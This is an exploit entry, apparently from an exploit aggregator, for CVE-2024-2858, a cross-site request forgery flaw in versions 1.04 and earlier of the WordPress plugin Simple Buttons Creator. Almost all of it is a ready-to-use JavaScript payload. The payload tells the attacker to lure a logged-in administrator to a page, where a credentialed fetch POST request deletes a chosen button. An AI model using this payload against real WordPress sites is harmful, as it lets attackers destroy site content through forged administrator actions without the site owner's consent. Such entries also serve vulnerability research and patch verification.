Exploit for Simple Buttons Creator <= 1.04 - Aribtrary Button Deletion via CSRF CVE-2024-2858

## https://sploitus.com/exploit?id=WPEX-ID:43297210-17A6-4B51-B8CA-32CEEF9FC09A
Make a logged in admin open a page with the code below (where `<<VALID_ID>>` is an existing button):

```
fetch("https://example.com/wp-admin/admin.php?page=simple-buttons", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'method=delete&id=<<VALID_ID>>',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));
```